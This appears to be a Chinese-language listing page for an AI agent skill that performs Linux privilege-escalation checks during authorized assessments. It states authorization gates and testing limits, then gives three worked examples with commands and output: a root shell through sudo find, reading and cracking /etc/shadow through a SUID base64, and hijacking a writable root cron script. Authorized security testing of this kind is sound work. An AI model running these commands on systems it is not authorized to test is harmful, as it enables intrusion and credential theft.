mcpField
L
linux-privilege-escalation

linux-privilege-escalation

github.com/sickn33安全48.7k402 次安装今天更新
代码仓库

关于 linux-privilege-escalation

此 Skill 用于授权安全评估、防御验证或受控实验环境中的 Linux 权限提升检查。主动测试前须确认目标、书面授权、范围并获准执行具体命令,同时提示内核漏洞可能影响宿主机等风险。

主要功能

  1. 01授权的权限提升评估
  2. 02强制确认目标与测试范围
  3. 03主动测试前审查命令
  4. 04内核与系统安全风险提示

适用场景

  1. 01在受控实验环境验证权限边界
  2. 02在获批范围内评估 Linux 权限提升风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/sickn33/agentic-awesome-skills --skill linux-privilege-escalation

安装后在 Claude Code 中输入/linux-privilege-escalation确认已加载。

附带文件references/detailed-guide.md

详细介绍

⚠️ 仅限授权用途 此技能仅用于教育目的或经授权的安全评估。 使用此工具前,必须获得系统所有者明确的书面许可。 滥用此工具属于违法行为,且受到严格禁止。

强制确认关卡 在运行任何探测、利用漏洞、更改目标、在目标上保持持久访问、从目标提取数据或尝试获取目标凭据的命令前:

  1. 请用户说明确切的目标 URL、IP、账户或资源。
  2. 请用户确认已获得书面授权,并说明允许的范围。
  3. 展示确切的命令,并说明其预期效果。
  4. 等待用户在当前对话中明确确认。

未获得上述确认时,只能进行只读操作,并仅提供防御性指导。优先使用沙箱、一次性 VM 或受控实验环境。

仅限授权用途:此技能仅用于经授权的安全评估、防御性验证或受控的教育环境。

Linux 权限提升

详细指南

执行此技能前,请阅读详细指南。其中保留了完整的流程和参考资料。必须遵守其中的安全要求、先决条件和验证要求。对于有针对性的操作,请加载相关章节;对于端到端操作,请完整阅读指南。

限制和防护措施

操作边界
  • 在生产环境中使用内核漏洞利用程序前,先在测试环境中验证
  • 内核漏洞利用失败可能导致系统崩溃
  • 记录权限提升过程中所做的所有更改
  • 仅在获得授权的情况下维持持久访问
技术限制
  • 现代内核可能启用了漏洞利用缓解措施(ASLR、SMEP、SMAP)
  • AppArmor/SELinux 可能会限制漏洞利用技术
  • 容器通常与主机共用内核;内核漏洞利用测试可能影响主机,因此必须获得对主机的明确授权
  • 加固后的系统可能配置了受限的 sudo
法律和道德要求
  • 测试前必须获得书面授权
  • 遵守定义的范围边界
  • 立即报告关键发现
  • 不得访问超出范围要求的数据

示例

示例 1:通过 find 使用 sudo 获取 root 权限

场景:用户对 find 命令拥有 sudo 权限

$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
示例 2:使用 SUID base64 访问 Shadow 文件

场景:base64 二进制文件已设置 SUID 位

$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
示例 3:劫持 Cron 作业脚本

场景:Root 的 Cron 作业会执行可写脚本

$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)

适用场景

此技能适用于执行概览中描述的工作流或操作。

评论

支持 Markdown